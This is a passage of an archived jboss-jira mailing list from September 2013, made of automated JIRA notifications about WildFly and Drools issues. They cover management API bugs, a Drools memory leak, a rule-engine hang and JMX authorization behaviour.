>          Issue Type: Feature Request
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Beta1
>
>
> Currently, the messaging subsystem's queue and jms-queue resources defines attributes that are writable (eg filter and durable attribute).
> This is not correct, once a queue is created with these attributes, they can not be changed for the lifetime of a queue (a durable queue can not become non-durable).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 11:37:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Fri, 13 Sep 2013 11:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2062) Composite response returns
 incorrect heap values
In-Reply-To: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500668.1379063652000.25910.1379086623922@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2062?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun reassigned WFLY-2062:
---------------------------------

    Assignee: Heiko Braun  (was: Brian Stansberry)

    
> Composite response returns incorrect heap values
> ------------------------------------------------
>
>                 Key: WFLY-2062
>                 URL: https://issues.jboss.org/browse/WFLY-2062
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>             Fix For: 8.0.0.Beta1
>
>
> Trying to read the heap memory usage from a host vm, we've disovered that a composite request through the http layer, returns bogus data (the numeric values are wrong). 
> This is the operation that we execute over HTTP:
> {noformat}
>  {
>      "operation" => "composite",
>      "address" => [],
>      "steps" => [
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "memory")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "threading")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "runtime")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "operating-system")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          }
>      ]
>  }
> {noformat}
> Here's the response for the relevant heap section (wrong values):
> {noformat}
> {
>      "init" => 1366294528L,
>      "used" => 92433896L,
>      "committed" => 1309081600L,
>      "max" => 1309081600L
> }
> {noformat}
> But the actual values (using CLI) are (correct values):
> {noformat}
> [domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "heap-memory-usage" => {
>             "init" => 67108864L,
>             "used" => 36680856L,
>             "committed" => 188547072L,
>             "max" => 477233152L
>         },
>        [...]
>     }
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 11:37:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Fri, 13 Sep 2013 11:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2062) Composite response returns
 incorrect heap values
In-Reply-To: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500668.1379063652000.25913.1379086624078@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2062?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun resolved WFLY-2062.
-------------------------------

    Fix Version/s:     (was: 8.0.0.Beta1)
       Resolution: Rejected

    
> Composite response returns incorrect heap values
> ------------------------------------------------
>
>                 Key: WFLY-2062
>                 URL: https://issues.jboss.org/browse/WFLY-2062
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>
> Trying to read the heap memory usage from a host vm, we've disovered that a composite request through the http layer, returns bogus data (the numeric values are wrong). 
> This is the operation that we execute over HTTP:
> {noformat}
>  {
>      "operation" => "composite",
>      "address" => [],
>      "steps" => [
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "memory")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "threading")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "runtime")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "operating-system")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          }
>      ]
>  }
> {noformat}
> Here's the response for the relevant heap section (wrong values):
> {noformat}
> {
>      "init" => 1366294528L,
>      "used" => 92433896L,
>      "committed" => 1309081600L,
>      "max" => 1309081600L
> }
> {noformat}
> But the actual values (using CLI) are (correct values):
> {noformat}
> [domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "heap-memory-usage" => {
>             "init" => 67108864L,
>             "used" => 36680856L,
>             "committed" => 188547072L,
>             "max" => 477233152L
>         },
>        [...]
>     }
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 11:43:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 11:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-35) Possible memory leak:
 MarshallerReaderContext held indefinitely by ReteooStatefulSession
In-Reply-To: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484650.1360591125000.25953.1379086983959@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-35?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804223#comment-12804223 ] 

RH Bugzilla Integration commented on DROOLS-35:
-----------------------------------------------

Petr Siroky <psiroky at redhat.com> made a comment on [bug 995017|https://bugzilla.redhat.com/show_bug.cgi?id=995017]

Verified that the reference to MarshallerReaderContext is not held anymore.
Attaching screenshot from VisualVM that clearly shows it and also Maven based reproducer I used.
                
> Possible memory leak: MarshallerReaderContext held indefinitely by ReteooStatefulSession
> ----------------------------------------------------------------------------------------
>
>                 Key: DROOLS-35
>                 URL: https://issues.jboss.org/browse/DROOLS-35
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: Oracle JDK7
>            Reporter: Magnus Vojbacke
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> It seems that the memory consumption increases after a session has been unmarshalled. That is to say: an unmarshalled session of size x uses  much more memory than if I had started with an empty session and inserted x number of facts.
> Digging into a memory profile, I found that after unmarshalling, my ReteooStatefulSession instance holds on to a MarshallerReaderContext instance: 
> StatefulKnowledgeSessionImpl : session
> ReteooStatefulSession : defaultEntryPoint
> NamedEntryPoint : objectStore
> SingleThreadedObjectStore : identityMap
> ObjectHashMap : table
> Entry[] : [0]
> ObjectHashMap$ObjectEntry : value
> DefaultFactHandle : lastLeftTuple
> RuleTerminalNodeLeftTuple : object
> AgendaItem : context
> PropagationContextImpl : readerContext
> MarshallerReaderContext : this 
> The MarshallerReaderContext consumes a lot of memory.
> Digging into the unmarshalling code, it seems that the MarshallerReaderContext is a utility class used during unmarshalling of sessions. Intuitively, it seems wrong that a reference to this object should be held after unmarshalling is finished.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 11:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 11:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-35) Possible memory leak:
 MarshallerReaderContext held indefinitely by ReteooStatefulSession
In-Reply-To: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484650.1360591125000.25956.1379086984135@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-35?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804224#comment-12804224 ] 

RH Bugzilla Integration commented on DROOLS-35:
-----------------------------------------------

Petr Siroky <psiroky at redhat.com> changed the Status of [bug 995017|https://bugzilla.redhat.com/show_bug.cgi?id=995017] from ON_QA to VERIFIED
                
> Possible memory leak: MarshallerReaderContext held indefinitely by ReteooStatefulSession
> ----------------------------------------------------------------------------------------
>
>                 Key: DROOLS-35
>                 URL: https://issues.jboss.org/browse/DROOLS-35
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: Oracle JDK7
>            Reporter: Magnus Vojbacke
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> It seems that the memory consumption increases after a session has been unmarshalled. That is to say: an unmarshalled session of size x uses  much more memory than if I had started with an empty session and inserted x number of facts.
> Digging into a memory profile, I found that after unmarshalling, my ReteooStatefulSession instance holds on to a MarshallerReaderContext instance: 
> StatefulKnowledgeSessionImpl : session
> ReteooStatefulSession : defaultEntryPoint
> NamedEntryPoint : objectStore
> SingleThreadedObjectStore : identityMap
> ObjectHashMap : table
> Entry[] : [0]
> ObjectHashMap$ObjectEntry : value
> DefaultFactHandle : lastLeftTuple
> RuleTerminalNodeLeftTuple : object
> AgendaItem : context
> PropagationContextImpl : readerContext
> MarshallerReaderContext : this 
> The MarshallerReaderContext consumes a lot of memory.
> Digging into the unmarshalling code, it seems that the MarshallerReaderContext is a utility class used during unmarshalling of sessions. Intuitively, it seems wrong that a reference to this object should be held after unmarshalling is finished.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 11:45:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 11:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-35) Possible memory leak:
 MarshallerReaderContext held indefinitely by ReteooStatefulSession
In-Reply-To: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484650.1360591125000.25964.1379087103828@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-35?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804226#comment-12804226 ] 

RH Bugzilla Integration commented on DROOLS-35:
-----------------------------------------------

Petr Siroky <psiroky at redhat.com> made a comment on [bug 995017|https://bugzilla.redhat.com/show_bug.cgi?id=995017]


                
> Possible memory leak: MarshallerReaderContext held indefinitely by ReteooStatefulSession
> ----------------------------------------------------------------------------------------
>
>                 Key: DROOLS-35
>                 URL: https://issues.jboss.org/browse/DROOLS-35
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: Oracle JDK7
>            Reporter: Magnus Vojbacke
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> It seems that the memory consumption increases after a session has been unmarshalled. That is to say: an unmarshalled session of size x uses  much more memory than if I had started with an empty session and inserted x number of facts.
> Digging into a memory profile, I found that after unmarshalling, my ReteooStatefulSession instance holds on to a MarshallerReaderContext instance: 
> StatefulKnowledgeSessionImpl : session
> ReteooStatefulSession : defaultEntryPoint
> NamedEntryPoint : objectStore
> SingleThreadedObjectStore : identityMap
> ObjectHashMap : table
> Entry[] : [0]
> ObjectHashMap$ObjectEntry : value
> DefaultFactHandle : lastLeftTuple
> RuleTerminalNodeLeftTuple : object
> AgendaItem : context
> PropagationContextImpl : readerContext
> MarshallerReaderContext : this 
> The MarshallerReaderContext consumes a lot of memory.
> Digging into the unmarshalling code, it seems that the MarshallerReaderContext is a utility class used during unmarshalling of sessions. Intuitively, it seems wrong that a reference to this object should be held after unmarshalling is finished.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 11:45:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 11:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-35) Possible memory leak:
 MarshallerReaderContext held indefinitely by ReteooStatefulSession
In-Reply-To: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484650.1360591125000.25968.1379087104007@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-35?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804227#comment-12804227 ] 

RH Bugzilla Integration commented on DROOLS-35:
-----------------------------------------------

Petr Siroky <psiroky at redhat.com> made a comment on [bug 995017|https://bugzilla.redhat.com/show_bug.cgi?id=995017]


                
> Possible memory leak: MarshallerReaderContext held indefinitely by ReteooStatefulSession
> ----------------------------------------------------------------------------------------
>
>                 Key: DROOLS-35
>                 URL: https://issues.jboss.org/browse/DROOLS-35
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: Oracle JDK7
>            Reporter: Magnus Vojbacke
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> It seems that the memory consumption increases after a session has been unmarshalled. That is to say: an unmarshalled session of size x uses  much more memory than if I had started with an empty session and inserted x number of facts.
> Digging into a memory profile, I found that after unmarshalling, my ReteooStatefulSession instance holds on to a MarshallerReaderContext instance: 
> StatefulKnowledgeSessionImpl : session
> ReteooStatefulSession : defaultEntryPoint
> NamedEntryPoint : objectStore
> SingleThreadedObjectStore : identityMap
> ObjectHashMap : table
> Entry[] : [0]
> ObjectHashMap$ObjectEntry : value
> DefaultFactHandle : lastLeftTuple
> RuleTerminalNodeLeftTuple : object
> AgendaItem : context
> PropagationContextImpl : readerContext
> MarshallerReaderContext : this 
> The MarshallerReaderContext consumes a lot of memory.
> Digging into the unmarshalling code, it seems that the MarshallerReaderContext is a utility class used during unmarshalling of sessions. Intuitively, it seems wrong that a reference to this object should be held after unmarshalling is finished.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 12:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 12:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.26016.1379088183762@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804238#comment-12804238 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465] from ON_QA to ASSIGNED
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 12:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 12:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.26013.1379088183625@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804237#comment-12804237 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465]

I am able to reproduce that the engine gets stuck during the test on 5.3.1.BRMS-P04. Although I can see no exception (neither in any log, nor in the output), the main test thread execution hangs (the console keeps printing messages about updating the drl file in another thread).

To reproduce, please run the reproducer in the attached maven project ('mvn clean test').

It seems one of the engine threads gets stuck in the following stacktrace:

Name: Thread-0
State: RUNNABLE
Total blocked: 0  Total waited: 2

Stack trace: 
org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
org.drools.common.BaseNode.remove(BaseNode.java:105)
org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
org.drools.common.BaseNode.remove(BaseNode.java:105)
org.drools.reteoo.ReteooBuilder.removeRule(ReteooBuilder.java:242)
   - locked org.drools.reteoo.ReteooBuilder at 622e199e
org.drools.reteoo.ReteooRuleBase.removeRule(ReteooRuleBase.java:468)
org.drools.common.AbstractRuleBase.removeRule(AbstractRuleBase.java:971)
org.drools.common.AbstractRuleBase.mergePackage(AbstractRuleBase.java:739)
org.drools.common.AbstractRuleBase.addPackages(AbstractRuleBase.java:557)
org.drools.reteoo.ReteooRuleBase.addPackages(ReteooRuleBase.java:481)
org.drools.impl.KnowledgeBaseImpl.addKnowledgePackages(KnowledgeBaseImpl.java:150)
org.drools.agent.impl.KnowledgeAgentImpl.addResourcesToKnowledgeBase(KnowledgeAgentImpl.java:1083)
org.drools.agent.impl.KnowledgeAgentImpl.incrementalBuildResources(KnowledgeAgentImpl.java:969)
   - locked org.drools.agent.impl.KnowledgeAgentImpl$RegisteredResourceMap at 4094066d
org.drools.agent.impl.KnowledgeAgentImpl.buildKnowledgeBase(KnowledgeAgentImpl.java:673)
   - locked org.drools.agent.impl.KnowledgeAgentImpl$RegisteredResourceMap at 4094066d
org.drools.agent.impl.KnowledgeAgentImpl.applyChangeSet(KnowledgeAgentImpl.java:201)
   - locked org.drools.agent.impl.KnowledgeAgentImpl$RegisteredResourceMap at 4094066d
org.drools.agent.impl.KnowledgeAgentImpl$ChangeSetNotificationDetector.run(KnowledgeAgentImpl.java:1268)
java.lang.Thread.run(Thread.java:722)
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 12:06:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Fri, 13 Sep 2013 12:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1983) MBeans for unaddressable
 resources available through JMX
In-Reply-To: <JIRA.12499789.1378191889000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499789.1378191889000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499789.1378191889000.26022.1379088363705@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1983?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804239#comment-12804239 ] 

Kabir Khan commented on WFLY-1983:
----------------------------------

If the resource is unadressable, I am going with InstanceNotFoundException
                
> MBeans for unaddressable resources available through JMX
> --------------------------------------------------------
>
>                 Key: WFLY-1983
>                 URL: https://issues.jboss.org/browse/WFLY-1983
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> MBeans for resources which are unaddressable for authenticated user still has its corresponding MBeans registered - e.g. security-realm=ManagementRealm
> {code}
> Map<String, String[]> env = new HashMap<String, String[]>();
> String[] credentials = {"monitor", "asd1asd!"};
> env.put(JMXConnector.CREDENTIALS, credentials);
> JMXServiceURL url = new JMXServiceURL("service:jmx:remoting-jmx://localhost:9999");
> JMXConnector jmxConnector = JMXConnectorFactory.connect(url, env);
> MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
> ObjectName mgmtRealm = new ObjectName("jboss.as:core-service=management,security-realm=ManagementRealm");
> MBeanInfo info = mBeanServerConnection.getMBeanInfo(mgmtRealm);
> System.out.println(info.getClassName());
> >>> org.jboss.as.controller.ModelController
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 12:08:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 12:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.26026.1379088483516@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804240#comment-12804240 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465]


                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 12:08:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Fri, 13 Sep 2013 12:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1986) Review exceptions thrown for
 authorization cases in JMX
In-Reply-To: <JIRA.12499796.1378194827000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499796.1378194827000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499796.1378194827000.26033.1379088483918@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1986?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804241#comment-12804241 ] 

Kabir Khan commented on WFLY-1986:
----------------------------------

I am working on throwing JMRuntimeException when it fails an authorization check. As mentioned in WFLY-1983 if the resource is not adressable, I throw an InstanceNotFoundException.
                
> Review exceptions thrown for authorization cases in JMX
> -------------------------------------------------------
>
>                 Key: WFLY-1986
>                 URL: https://issues.jboss.org/browse/WFLY-1986
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> It should be reconsidered which exception to use for RBAC authorization cases in JMX. 
> For example "AttributeNotFoundException" doesn't make much sense when attribute exists but user is missing permissions for write. In this case I would use its superclass "OperationsException" instead. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 12:42:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 13 Sep 2013 12:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2072) Build controller-client
 module and its dependencies for JDK 6
In-Reply-To: <JIRA.12500702.1379090464962@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500702.1379090464962@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500702.1379090464962.26071.1379090523381@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2072:
--------------------------------------

             Summary: Build controller-client module and its dependencies for JDK 6
                 Key: WFLY-2072
                 URL: https://issues.jboss.org/browse/WFLY-2072
             Project: WildFly
          Issue Type: Task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


WildFly is built for JDK 7, but the controller-client lib and its dependencies within the WF codebase do not need JDK 7 features and should be built with source and compile targets set to JDK 6. This will help prevent the need for running a different management client for WF 8 vs AS7/EAP6 due to the need to support JDK for the the latter.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 12:42:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 13 Sep 2013 12:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2072) Build controller-client
 module and its dependencies for JDK 6
In-Reply-To: <JIRA.12500702.1379090464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500702.1379090464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500702.1379090464000.26075.1379090523526@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2072?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2072:
-----------------------------------

    Assignee:     (was: Brian Stansberry)

    
> Build controller-client module and its dependencies for JDK 6
> -------------------------------------------------------------
>
>                 Key: WFLY-2072
>                 URL: https://issues.jboss.org/browse/WFLY-2072
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> WildFly is built for JDK 7, but the controller-client lib and its dependencies within the WF codebase do not need JDK 7 features and should be built with source and compile targets set to JDK 6. This will help prevent the need for running a different management client for WF 8 vs AS7/EAP6 due to the need to support JDK for the the latter.

--
This message is automatically generated by JIRA.
